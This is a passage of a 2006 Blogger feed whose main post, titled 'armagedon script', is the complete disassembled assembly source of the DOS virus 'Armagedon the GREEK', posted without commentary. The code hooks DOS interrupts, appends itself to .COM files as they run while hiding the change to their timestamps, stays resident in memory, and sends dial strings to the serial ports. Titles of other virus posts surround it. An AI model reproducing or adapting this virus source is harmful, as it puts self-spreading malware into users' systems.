href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856595469230895&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856595469230895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856595469230895'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/hydra-script.html' title='hydra script'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856569843135990</id><published>2006-09-18T14:46:00.000+07:00</published><updated>2006-09-18T14:48:33.170+07:00</updated><title type='text'>armagedon script</title><content type='html'>armagedon script&lt;br /&gt;&lt;br /&gt;data_1e        equ    2Ch            ; (7415:002C=0)&lt;br /&gt;data_2e        equ    81h            ; (7415:0081=0)&lt;br /&gt; &lt;br /&gt;seg_a        segment    byte public&lt;br /&gt;        assume    cs:seg_a, ds:seg_a&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;        org    100h&lt;br /&gt; &lt;br /&gt;armagedo    proc    far&lt;br /&gt; &lt;br /&gt;start:&lt;br /&gt;        jmp    loc_36            ; (0436)&lt;br /&gt; &lt;br /&gt;armagedo    endp&lt;br /&gt; &lt;br /&gt;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ&lt;br /&gt;;&lt;br /&gt;;            External Entry Point&lt;br /&gt;;&lt;br /&gt;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ&lt;br /&gt; &lt;br /&gt;int_21h_entry    proc    far&lt;br /&gt;        pushf                ; Push flags&lt;br /&gt;        cmp    ah,0E0h&lt;br /&gt;        jne    loc_2            ; Jump if not equal&lt;br /&gt;        mov    ax,0DADAh&lt;br /&gt;        popf                ; Pop flags&lt;br /&gt;        iret                ; Interrupt return&lt;br /&gt;int_21h_entry    endp&lt;br /&gt; &lt;br /&gt;loc_2:&lt;br /&gt;        cmp    ah,0E1h&lt;br /&gt;        jne    loc_3            ; Jump if not equal&lt;br /&gt;        mov    ax,cs&lt;br /&gt;        popf                ; Pop flags&lt;br /&gt;        iret                ; Interrupt return&lt;br /&gt;loc_3:&lt;br /&gt;        cmp    ax,4B00h&lt;br /&gt;        je    loc_5            ; Jump if equal&lt;br /&gt;loc_4:&lt;br /&gt;        popf                ; Pop flags&lt;br /&gt;        jmp    dword ptr cs:data_4    ; (7415:0122=138Dh)&lt;br /&gt;data_4        dd    7415138Dh&lt;br /&gt;data_6        dd    7415022Bh&lt;br /&gt;data_8        db    0&lt;br /&gt;data_9        db    8&lt;br /&gt;data_10        db    10h&lt;br /&gt;data_11        db    9&lt;br /&gt;data_12        db    34h&lt;br /&gt;data_13        dw    0&lt;br /&gt;        db    0&lt;br /&gt;data_14        db    0&lt;br /&gt;data_15        db    0&lt;br /&gt;data_16        db    0&lt;br /&gt;        db    43h, 4Fh, 4Dh&lt;br /&gt;data_17        dw    5&lt;br /&gt;data_18        dw    2&lt;br /&gt;        db    0, 0&lt;br /&gt;data_19        dw    1301h&lt;br /&gt;data_20        dw    1306h&lt;br /&gt;data_21        dw    0FFFEh&lt;br /&gt;data_22        dw    7415h&lt;br /&gt;data_23        dw    3D5Bh&lt;br /&gt;data_24        dw    20h&lt;br /&gt;data_25        dw    0EC2h&lt;br /&gt;data_26        dw    6E68h&lt;br /&gt;        db    0, 0, 81h, 0&lt;br /&gt;data_27        dw    12ACh&lt;br /&gt;        db    5Ch, 0&lt;br /&gt;data_28        dw    12ACh&lt;br /&gt;        db    6Ch, 0&lt;br /&gt;data_29        dw    12ACh&lt;br /&gt;loc_5:&lt;br /&gt;        push    ds&lt;br /&gt;        push    bx&lt;br /&gt;        push    si&lt;br /&gt;        push    cx&lt;br /&gt;        push    ax&lt;br /&gt;        push    dx&lt;br /&gt;        push    bp&lt;br /&gt;        push    es&lt;br /&gt;        push    di&lt;br /&gt;        cld                ; Clear direction&lt;br /&gt;        push    dx&lt;br /&gt;        push    ds&lt;br /&gt;        xor    cx,cx            ; Zero register&lt;br /&gt;        mov    si,dx&lt;br /&gt;loc_6:&lt;br /&gt;        mov    al,[si]&lt;br /&gt;        cmp    al,0&lt;br /&gt;        je    loc_7            ; Jump if equal&lt;br /&gt;        inc    cx&lt;br /&gt;        inc    si&lt;br /&gt;        jmp    short loc_6        ; (016C)&lt;br /&gt;loc_7:&lt;br /&gt;        add    dx,cx&lt;br /&gt;        sub    dx,3&lt;br /&gt;        mov    si,135h&lt;br /&gt;        mov    di,dx&lt;br /&gt;        cmp    byte ptr [di-3],4Eh    ; 'N'&lt;br /&gt;        jne    loc_8            ; Jump if not equal&lt;br /&gt;        cmp    byte ptr [di-2],44h    ; 'D'&lt;br /&gt;        je    loc_11            ; Jump if equal&lt;br /&gt;loc_8:&lt;br /&gt;        mov    cx,3&lt;br /&gt; &lt;br /&gt;locloop_9:&lt;br /&gt;        mov    al,cs:[si]&lt;br /&gt;        cmp    al,[di]&lt;br /&gt;        jne    loc_11            ; Jump if not equal&lt;br /&gt;        inc    si&lt;br /&gt;        inc    di&lt;br /&gt;        loop    locloop_9        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;        pop    ds&lt;br /&gt;        pop    dx&lt;br /&gt;        push    dx&lt;br /&gt;        push    ds&lt;br /&gt;        mov    si,dx&lt;br /&gt;        mov    dl,0&lt;br /&gt;        cmp    byte ptr [si+1],3Ah    ; ':'&lt;br /&gt;        jne    loc_10            ; Jump if not equal&lt;br /&gt;        mov    dl,[si]&lt;br /&gt;        and    dl,0Fh&lt;br /&gt;loc_10:&lt;br /&gt;        mov    ah,36h            ; '6'&lt;br /&gt;        int    21h            ; DOS Services  ah=function 36h&lt;br /&gt;                        ;  get free space, drive dl,1=a:&lt;br /&gt;        cmp    ax,0FFFFh&lt;br /&gt;        je    loc_11            ; Jump if equal&lt;br /&gt;        jmp    short loc_13        ; (01C5)&lt;br /&gt;        db    90h&lt;br /&gt;loc_11:&lt;br /&gt;        jmp    loc_19            ; (02F8)&lt;br /&gt;        jmp    loc_20            ; (02FD)&lt;br /&gt;loc_12:&lt;br /&gt;        jmp    loc_17            ; (02C4)&lt;br /&gt;        jmp    loc_18            ; (02CF)&lt;br /&gt;loc_13:&lt;br /&gt;        cmp    bx,3&lt;br /&gt;        jb    loc_11            ; Jump if below&lt;br /&gt;        pop    ds&lt;br /&gt;        pop    dx&lt;br /&gt;        push    ds&lt;br /&gt;        push    dx&lt;br /&gt;        mov    cs:data_22,ds        ; (7415:0144=7415h)&lt;br /&gt;        mov    cs:data_23,dx        ; (7415:0146=3D5Bh)&lt;br /&gt;        mov    ax,4300h&lt;br /&gt;        int    21h            ; DOS Services  ah=function 43h&lt;br /&gt;                        ;  get/set file attrb, nam@ds:dx&lt;br /&gt;        mov    cs:data_24,cx        ; (7415:0148=20h)&lt;br /&gt;        mov    ax,4301h&lt;br /&gt;        xor    cx,cx            ; Zero register&lt;br /&gt;        int    21h            ; DOS Services  ah=function 43h&lt;br /&gt;                        ;  get/set file attrb, nam@ds:dx&lt;br /&gt;        mov    bx,0FFFFh&lt;br /&gt;        mov    ah,48h            ; 'H'&lt;br /&gt;        int    21h            ; DOS Services  ah=function 48h&lt;br /&gt;                        ;  allocate memory, bx=bytes/16&lt;br /&gt;        mov    ah,48h            ; 'H'&lt;br /&gt;        int    21h            ; DOS Services  ah=function 48h&lt;br /&gt;                        ;  allocate memory, bx=bytes/16&lt;br /&gt;        mov    cs:data_19,ax        ; (7415:013E=1301h)&lt;br /&gt;        mov    ax,cs&lt;br /&gt;        mov    ds,ax&lt;br /&gt;        mov    dx,541h&lt;br /&gt;        mov    ah,1Ah&lt;br /&gt;        int    21h            ; DOS Services  ah=function 1Ah&lt;br /&gt;                        ;  set DTA to ds:dx&lt;br /&gt;        pop    dx&lt;br /&gt;        pop    ds&lt;br /&gt;        mov    ax,3D02h&lt;br /&gt;        clc                ; Clear carry flag&lt;br /&gt;        int    21h            ; DOS Services  ah=function 3Dh&lt;br /&gt;                        ;  open file, al=mode,name@ds:dx&lt;br /&gt;        jc    loc_12            ; Jump if carry Set&lt;br /&gt;        mov    bx,ax&lt;br /&gt;        mov    cs:data_17,ax        ; (7415:0138=5)&lt;br /&gt;        mov    cx,0FFFFh&lt;br /&gt;        mov    ax,cs:data_19        ; (7415:013E=1301h)&lt;br /&gt;        mov    ds,ax&lt;br /&gt;        mov    dx,437h&lt;br /&gt;        mov    ah,3Fh            ; '?'&lt;br /&gt;        clc                ; Clear carry flag&lt;br /&gt;        int    21h            ; DOS Services  ah=function 3Fh&lt;br /&gt;                        ;  read file, cx=bytes, to ds:dx&lt;br /&gt;        jc    loc_12            ; Jump if carry Set&lt;br /&gt;        mov    cs:data_18,ax        ; (7415:013A=2)&lt;br /&gt;        cmp    ax,0E000h&lt;br /&gt;        ja    loc_12            ; Jump if above&lt;br /&gt;        cmp    ax,437h&lt;br /&gt;        jb    loc_15            ; Jump if below&lt;br /&gt;        mov    si,438h&lt;br /&gt;        add    si,si&lt;br /&gt;        sub    si,15h&lt;br /&gt;        mov    cx,13h&lt;br /&gt;        mov    di,524h&lt;br /&gt; &lt;br /&gt;locloop_14:&lt;br /&gt;        mov    al,[si]&lt;br /&gt;        mov    ah,cs:[di]&lt;br /&gt;        cmp    ah,al&lt;br /&gt;        jne    loc_15            ; Jump if not equal&lt;br /&gt;        inc    si&lt;br /&gt;        inc    di&lt;br /&gt;        loop    locloop_14        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;        jmp    short loc_17        ; (02C4)&lt;br /&gt;        db    90h&lt;br /&gt;loc_15:&lt;br /&gt;        mov    ax,4200h&lt;br /&gt;        mov    bx,cs:data_17        ; (7415:0138=5)&lt;br /&gt;        xor    cx,cx            ; Zero register&lt;br /&gt;        mov    dx,cx&lt;br /&gt;        int    21h            ; DOS Services  ah=function 42h&lt;br /&gt;                        ;  move file ptr, cx,dx=offset&lt;br /&gt;        jc    loc_17            ; Jump if carry Set&lt;br /&gt;        mov    si,100h&lt;br /&gt;        mov    cx,437h&lt;br /&gt;        xor    di,di            ; Zero register&lt;br /&gt;        mov    ax,cs:data_19        ; (7415:013E=1301h)&lt;br /&gt;        mov    ds,ax&lt;br /&gt; &lt;br /&gt;locloop_16:&lt;br /&gt;        mov    al,cs:[si]&lt;br /&gt;        mov    [di],al&lt;br /&gt;        inc    si&lt;br /&gt;        inc    di&lt;br /&gt;        loop    locloop_16        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;        mov    ax,5700h&lt;br /&gt;        mov    bx,cs:data_17        ; (7415:0138=5)&lt;br /&gt;        int    21h            ; DOS Services  ah=function 57h&lt;br /&gt;                        ;  get/set file date &amp; time&lt;br /&gt;        mov    cs:data_26,cx        ; (7415:014C=6E68h)&lt;br /&gt;        mov    cs:data_25,dx        ; (7415:014A=0EC2h)&lt;br /&gt;        mov    ax,cs:data_19        ; (7415:013E=1301h)&lt;br /&gt;        mov    ds,ax&lt;br /&gt;        mov    si,437h&lt;br /&gt;        mov    al,[si]&lt;br /&gt;        add    al,0Bh&lt;br /&gt;        mov    [si],al&lt;br /&gt;        xor    dx,dx            ; Zero register&lt;br /&gt;        mov    cx,cs:data_18        ; (7415:013A=2)&lt;br /&gt;        add    cx,437h&lt;br /&gt;        mov    bx,cs:data_17        ; (7415:0138=5)&lt;br /&gt;        mov    ah,40h            ; '@'&lt;br /&gt;        int    21h            ; DOS Services  ah=function 40h&lt;br /&gt;                        ;  write file cx=bytes, to ds:dx&lt;br /&gt;        mov    cx,cs:data_26        ; (7415:014C=6E68h)&lt;br /&gt;        mov    dx,cs:data_25        ; (7415:014A=0EC2h)&lt;br /&gt;        mov    bx,cs:data_17        ; (7415:0138=5)&lt;br /&gt;        mov    ax,5701h&lt;br /&gt;        int    21h            ; DOS Services  ah=function 57h&lt;br /&gt;                        ;  get/set file date &amp; time&lt;br /&gt;loc_17:&lt;br /&gt;        mov    bx,cs:data_17        ; (7415:0138=5)&lt;br /&gt;        mov    ah,3Eh            ; '&gt;'&lt;br /&gt;        int    21h            ; DOS Services  ah=function 3Eh&lt;br /&gt;                        ;  close file, bx=file handle&lt;br /&gt;        push    cs&lt;br /&gt;        pop    ds&lt;br /&gt;loc_18:&lt;br /&gt;        mov    dx,80h&lt;br /&gt;        mov    ah,1Ah&lt;br /&gt;        int    21h            ; DOS Services  ah=function 1Ah&lt;br /&gt;                        ;  set DTA to ds:dx&lt;br /&gt;        mov    ax,cs:data_19        ; (7415:013E=1301h)&lt;br /&gt;        mov    es,ax&lt;br /&gt;        mov    ah,49h            ; 'I'&lt;br /&gt;        int    21h            ; DOS Services  ah=function 49h&lt;br /&gt;                        ;  release memory block, es=seg&lt;br /&gt;        mov    ax,cs:data_22        ; (7415:0144=7415h)&lt;br /&gt;        mov    ds,ax&lt;br /&gt;        mov    dx,cs:data_23        ; (7415:0146=3D5Bh)&lt;br /&gt;        mov    ax,4301h&lt;br /&gt;        mov    cx,cs:data_24        ; (7415:0148=20h)&lt;br /&gt;        int    21h            ; DOS Services  ah=function 43h&lt;br /&gt;                        ;  get/set file attrb, nam@ds:dx&lt;br /&gt;        jmp    short loc_20        ; (02FD)&lt;br /&gt;        db    90h&lt;br /&gt;loc_19:&lt;br /&gt;        pop    ds&lt;br /&gt;        pop    dx&lt;br /&gt;        jmp    short loc_20        ; (02FD)&lt;br /&gt;        db    90h&lt;br /&gt;loc_20:&lt;br /&gt;        pop    di&lt;br /&gt;        pop    es&lt;br /&gt;        pop    bp&lt;br /&gt;        pop    dx&lt;br /&gt;        pop    ax&lt;br /&gt;        pop    cx&lt;br /&gt;        pop    si&lt;br /&gt;        pop    bx&lt;br /&gt;        pop    ds&lt;br /&gt;        jmp    loc_4            ; (011C)&lt;br /&gt; &lt;br /&gt;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ&lt;br /&gt;;&lt;br /&gt;;            External Entry Point&lt;br /&gt;;&lt;br /&gt;;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ&lt;br /&gt; &lt;br /&gt;int_08h_entry    proc    far&lt;br /&gt;        push    bp&lt;br /&gt;        push    ds&lt;br /&gt;        push    es&lt;br /&gt;        push    ax&lt;br /&gt;        push    bx&lt;br /&gt;        push    cx&lt;br /&gt;        push    dx&lt;br /&gt;        push    si&lt;br /&gt;        push    di&lt;br /&gt;        pushf                ; Push flags&lt;br /&gt;        call    cs:data_6        ; (7415:0126=22Bh)&lt;br /&gt;        call    sub_1            ; (0365)&lt;br /&gt;        push    cs&lt;br /&gt;        pop    ds&lt;br /&gt;        mov    ah,5&lt;br /&gt;        mov    ch,data_10        ; (7415:012C=10h)&lt;br /&gt;        cmp    ah,ch&lt;br /&gt;        ja    loc_22            ; Jump if above&lt;br /&gt;        mov    ah,6&lt;br /&gt;        cmp    ah,ch&lt;br /&gt;        jb    loc_22            ; Jump if below&lt;br /&gt;        mov    ah,data_8        ; (7415:012A=0)&lt;br /&gt;        cmp    ah,1&lt;br /&gt;        je    loc_21            ; Jump if equal&lt;br /&gt;        mov    ah,1&lt;br /&gt;        mov    data_8,ah        ; (7415:012A=0)&lt;br /&gt;        jmp    short loc_22        ; (035B)&lt;br /&gt;        db    90h&lt;br /&gt;loc_21:&lt;br /&gt;        call    sub_2            ; (03CB)&lt;br /&gt;        inc    data_13            ; (7415:012F=0)&lt;br /&gt;        mov    ax,data_13        ; (7415:012F=0)&lt;br /&gt;        cmp    ax,21Ch&lt;br /&gt;        jne    loc_22            ; Jump if not equal&lt;br /&gt;        xor    ax,ax            ; Zero register&lt;br /&gt;        mov    data_8,ah        ; (7415:012A=0)&lt;br /&gt;        mov    data_13,ax        ; (7415:012F=0)&lt;br /&gt;        mov    data_15,ah        ; (7415:0133=0)&lt;br /&gt;loc_22:&lt;br /&gt;        pop    di&lt;br /&gt;        pop    si&lt;br /&gt;        pop    dx&lt;br /&gt;        pop    cx&lt;br /&gt;        pop    bx&lt;br /&gt;        pop    ax&lt;br /&gt;        pop    es&lt;br /&gt;        pop    ds&lt;br /&gt;        pop    bp&lt;br /&gt;        iret                ; Interrupt return&lt;br /&gt;int_08h_entry    endp&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;sub_1        proc    near&lt;br /&gt;        push    cs&lt;br /&gt;        pop    ds&lt;br /&gt;        xor    al,al            ; Zero register&lt;br /&gt;        mov    ah,data_9        ; (7415:012B=8)&lt;br /&gt;        cmp    ah,11h&lt;br /&gt;        jne    loc_26            ; Jump if not equal&lt;br /&gt;        mov    ah,data_12        ; (7415:012E=34h)&lt;br /&gt;        cmp    ah,3Bh            ; ';'&lt;br /&gt;        jne    loc_27            ; Jump if not equal&lt;br /&gt;        mov    ah,data_11        ; (7415:012D=9)&lt;br /&gt;        cmp    ah,3Bh            ; ';'&lt;br /&gt;        jne    loc_28            ; Jump if not equal&lt;br /&gt;        mov    ah,data_10        ; (7415:012C=10h)&lt;br /&gt;        cmp    ah,17h&lt;br /&gt;        jne    loc_29            ; Jump if not equal&lt;br /&gt;        mov    data_10,al        ; (7415:012C=10h)&lt;br /&gt;loc_23:&lt;br /&gt;        mov    data_11,al        ; (7415:012D=9)&lt;br /&gt;loc_24:&lt;br /&gt;        mov    data_12,al        ; (7415:012E=34h)&lt;br /&gt;loc_25:&lt;br /&gt;        mov    data_9,al        ; (7415:012B=8)&lt;br /&gt;        retn&lt;br /&gt;loc_26:&lt;br /&gt;        inc    data_9            ; (7415:012B=8)&lt;br /&gt;        retn&lt;br /&gt;loc_27:&lt;br /&gt;        inc    data_12            ; (7415:012E=34h)&lt;br /&gt;        jmp    short loc_25        ; (0396)&lt;br /&gt;loc_28:&lt;br /&gt;        inc    data_11            ; (7415:012D=9)&lt;br /&gt;        jmp    short loc_24        ; (0393)&lt;br /&gt;loc_29:&lt;br /&gt;        inc    data_10            ; (7415:012C=10h)&lt;br /&gt;        jmp    short loc_23        ; (0390)&lt;br /&gt;sub_1        endp&lt;br /&gt; &lt;br /&gt;        db    '+++aTh0m0s7=35dp081,,,,141'&lt;br /&gt; &lt;br /&gt;;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß&lt;br /&gt;;                   SUBROUTINE&lt;br /&gt;;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ&lt;br /&gt; &lt;br /&gt;sub_2        proc    near&lt;br /&gt;        mov    al,data_15        ; (7415:0133=0)&lt;br /&gt;        cmp    al,1&lt;br /&gt;        je    loc_ret_35        ; Jump if equal&lt;br /&gt;        mov    al,data_16        ; (7415:0134=0)&lt;br /&gt;        cmp    al,1&lt;br /&gt;        je    loc_31            ; Jump if equal&lt;br /&gt;        mov    cx,3&lt;br /&gt; &lt;br /&gt;locloop_30:&lt;br /&gt;        mov    dx,cx&lt;br /&gt;        xor    ah,ah            ; Zero register&lt;br /&gt;        mov    al,83h&lt;br /&gt;        int    14h            ; RS-232   dx=com#, ah=func 40h&lt;br /&gt;                        ;  reset port, al=init parameter&lt;br /&gt;        loop    locloop_30        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;        mov    al,1&lt;br /&gt;        mov    data_16,al        ; (7415:0134=0)&lt;br /&gt;        jmp    short loc_ret_35    ; (0435)&lt;br /&gt;        db    90h&lt;br /&gt;loc_31:&lt;br /&gt;        push    cs&lt;br /&gt;        pop    ds&lt;br /&gt;        mov    si,3B1h&lt;br /&gt;        mov    al,data_14        ; (7415:0132=0)&lt;br /&gt;        cmp    al,1Ah&lt;br /&gt;        jne    loc_32            ; Jump if not equal&lt;br /&gt;        jmp    short loc_33        ; (041A)&lt;br /&gt;        db    90h&lt;br /&gt;loc_32:&lt;br /&gt;        xor    ah,ah            ; Zero register&lt;br /&gt;        add    si,ax&lt;br /&gt;        mov    al,[si]&lt;br /&gt;        mov    dx,3F8h&lt;br /&gt;        out    dx,al            ; port 3F8h, RS232-1 xmit buffr&lt;br /&gt;        mov    dx,2F8h&lt;br /&gt;        out    dx,al            ; port 2F8h, RS232-2 xmit buffr&lt;br /&gt;        mov    dx,2E8h&lt;br /&gt;        out    dx,al            ; port 2E8h&lt;br /&gt;        mov    dx,3E8h&lt;br /&gt;        out    dx,al            ; port 3E8h&lt;br /&gt;        inc    data_14            ; (7415:0132=0)&lt;br /&gt;        jmp    short loc_ret_35    ; (0435)&lt;br /&gt;        db    90h&lt;br /&gt;loc_33:&lt;br /&gt;        mov    cx,3&lt;br /&gt; &lt;br /&gt;locloop_34:&lt;br /&gt;        mov    dx,cx&lt;br /&gt;        mov    al,0Dh&lt;br /&gt;        mov    ah,1&lt;br /&gt;        int    14h            ; RS-232   dx=com#, ah=func 41h&lt;br /&gt;                        ;  write char al, ah=retn status&lt;br /&gt;        loop    locloop_34        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;        mov    ax,1&lt;br /&gt;        mov    data_15,al        ; (7415:0133=0)&lt;br /&gt;        mov    data_14,ah        ; (7415:0132=0)&lt;br /&gt;        mov    data_16,ah        ; (7415:0134=0)&lt;br /&gt; &lt;br /&gt;loc_ret_35:&lt;br /&gt;        retn&lt;br /&gt;sub_2        endp&lt;br /&gt; &lt;br /&gt;loc_36:&lt;br /&gt;        mov    ah,0E0h&lt;br /&gt;        int    21h            ; DOS Services  ah=function E0h&lt;br /&gt;        cmp    ax,0DADAh&lt;br /&gt;        jne    loc_37            ; Jump if not equal&lt;br /&gt;        jmp    loc_40            ; (04DB)&lt;br /&gt;loc_37:&lt;br /&gt;        push    cs&lt;br /&gt;        pop    ds&lt;br /&gt;        mov    ax,3521h&lt;br /&gt;        int    21h            ; DOS Services  ah=function 35h&lt;br /&gt;                        ;  get intrpt vector al in es:bx&lt;br /&gt;        mov    word ptr data_4,bx    ; (7415:0122=138Dh)&lt;br /&gt;        mov    word ptr data_4+2,es    ; (7415:0124=7415h)&lt;br /&gt;        mov    dx,103h&lt;br /&gt;        mov    ax,2521h&lt;br /&gt;        int    21h            ; DOS Services  ah=function 25h&lt;br /&gt;                        ;  set intrpt vector al to ds:dx&lt;br /&gt;        mov    ax,3508h&lt;br /&gt;        int    21h            ; DOS Services  ah=function 35h&lt;br /&gt;                        ;  get intrpt vector al in es:bx&lt;br /&gt;        mov    word ptr data_6,bx    ; (7415:0126=22Bh)&lt;br /&gt;        mov    word ptr data_6+2,es    ; (7415:0128=7415h)&lt;br /&gt;        mov    dx,309h&lt;br /&gt;        mov    ax,2508h&lt;br /&gt;        int    21h            ; DOS Services  ah=function 25h&lt;br /&gt;                        ;  set intrpt vector al to ds:dx&lt;br /&gt;        mov    ah,2Ch            ; ','&lt;br /&gt;        int    21h            ; DOS Services  ah=function 2Ch&lt;br /&gt;                        ;  get time, cx=hrs/min, dh=sec&lt;br /&gt;        mov    data_10,ch        ; (7415:012C=10h)&lt;br /&gt;        mov    data_11,cl        ; (7415:012D=9)&lt;br /&gt;        mov    data_12,dh        ; (7415:012E=34h)&lt;br /&gt;        mov    ax,cs:data_1e        ; (7415:002C=0)&lt;br /&gt;        mov    ds,ax&lt;br /&gt;        xor    si,si            ; Zero register&lt;br /&gt;loc_38:&lt;br /&gt;        mov    al,[si]&lt;br /&gt;        cmp    al,1&lt;br /&gt;        je    loc_39            ; Jump if equal&lt;br /&gt;        inc    si&lt;br /&gt;        jmp    short loc_38        ; (0486)&lt;br /&gt;loc_39:&lt;br /&gt;        inc    si&lt;br /&gt;        inc    si&lt;br /&gt;        mov    dx,si&lt;br /&gt;        mov    ax,cs&lt;br /&gt;        mov    es,ax&lt;br /&gt;        mov    bx,5Ah&lt;br /&gt;        mov    ah,4Ah            ; 'J'&lt;br /&gt;        int    21h            ; DOS Services  ah=function 4Ah&lt;br /&gt;                        ;  change mem allocation, bx=siz&lt;br /&gt;        mov    bx,cs:data_2e        ; (7415:0081=0)&lt;br /&gt;        mov    ax,cs&lt;br /&gt;        mov    es,ax&lt;br /&gt;        mov    cs:data_28,ax        ; (7415:0156=12ACh)&lt;br /&gt;        mov    cs:data_29,ax        ; (7415:015A=12ACh)&lt;br /&gt;        mov    cs:data_27,ax        ; (7415:0152=12ACh)&lt;br /&gt;        mov    ax,4B00h&lt;br /&gt;        mov    cs:data_20,ss        ; (7415:0140=1306h)&lt;br /&gt;        mov    cs:data_21,sp        ; (7415:0142=0FFFEh)&lt;br /&gt;        pushf                ; Push flags&lt;br /&gt;        call    cs:data_4        ; (7415:0122=138Dh)&lt;br /&gt;        mov    ax,cs:data_20        ; (7415:0140=1306h)&lt;br /&gt;        mov    ss,ax&lt;br /&gt;        mov    ax,cs:data_21        ; (7415:0142=0FFFEh)&lt;br /&gt;        mov    sp,ax&lt;br /&gt;        mov    ax,cs&lt;br /&gt;        mov    ds,ax&lt;br /&gt;        mov    dx,537h&lt;br /&gt;        int    27h            ; Terminate &amp; stay resident&lt;br /&gt;loc_40:&lt;br /&gt;        mov    ah,0E1h&lt;br /&gt;        int    21h            ; DOS Services  ah=function E1h&lt;br /&gt;        mov    si,4F3h&lt;br /&gt;        mov    cs:[si+3],ax&lt;br /&gt;        mov    ax,4F8h&lt;br /&gt;        mov    cs:[si+1],ax&lt;br /&gt;        mov    ax,cs:data_18        ; (7415:013A=2)&lt;br /&gt;        mov    bx,cs&lt;br /&gt;;*        jmp    far ptr loc_1        ;*(0000:0000)&lt;br /&gt;        db    0EAh, 0, 0, 0, 0&lt;br /&gt;        db    8Bh, 0C8h, 8Eh, 0DBh, 0BEh, 0&lt;br /&gt;        db    1, 0BFh, 37h, 5&lt;br /&gt; &lt;br /&gt;locloop_41:&lt;br /&gt;        mov    al,[di]&lt;br /&gt;        mov    [si],al&lt;br /&gt;        inc    si&lt;br /&gt;        inc    di&lt;br /&gt;        loop    locloop_41        ; Loop if cx &gt; 0&lt;br /&gt; &lt;br /&gt;        mov    si,51Fh&lt;br /&gt;        mov    cs:[si+3],ds&lt;br /&gt;        mov    al,byte ptr ds:[100h]    ; (7415:0100=0E9h)&lt;br /&gt;        sub    al,0Bh&lt;br /&gt;        mov    byte ptr ds:[100h],al    ; (7415:0100=0E9h)&lt;br /&gt;        mov    ax,ds&lt;br /&gt;        mov    es,ax&lt;br /&gt;        mov    ss,ax&lt;br /&gt;        jmp    far ptr start        ; (0100)&lt;br /&gt;        db    'Armagedon the GREEK'&lt;br /&gt;        db    0D8h, 20h&lt;br /&gt; &lt;br /&gt;seg_a        ends&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt;        end    start&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115856569843135990?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115856569843135990/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115856569843135990&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856569843135990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115856569843135990'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/armagedon-script.html' title='armagedon script'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856538989789667</id><published>2006-09-18T14:41:00.000+07:00</published><updated>2006-09-18T14:43:10.080+07:00</updated><title type='text'>almeda asm virus script</title><content type='html'>almeda asm 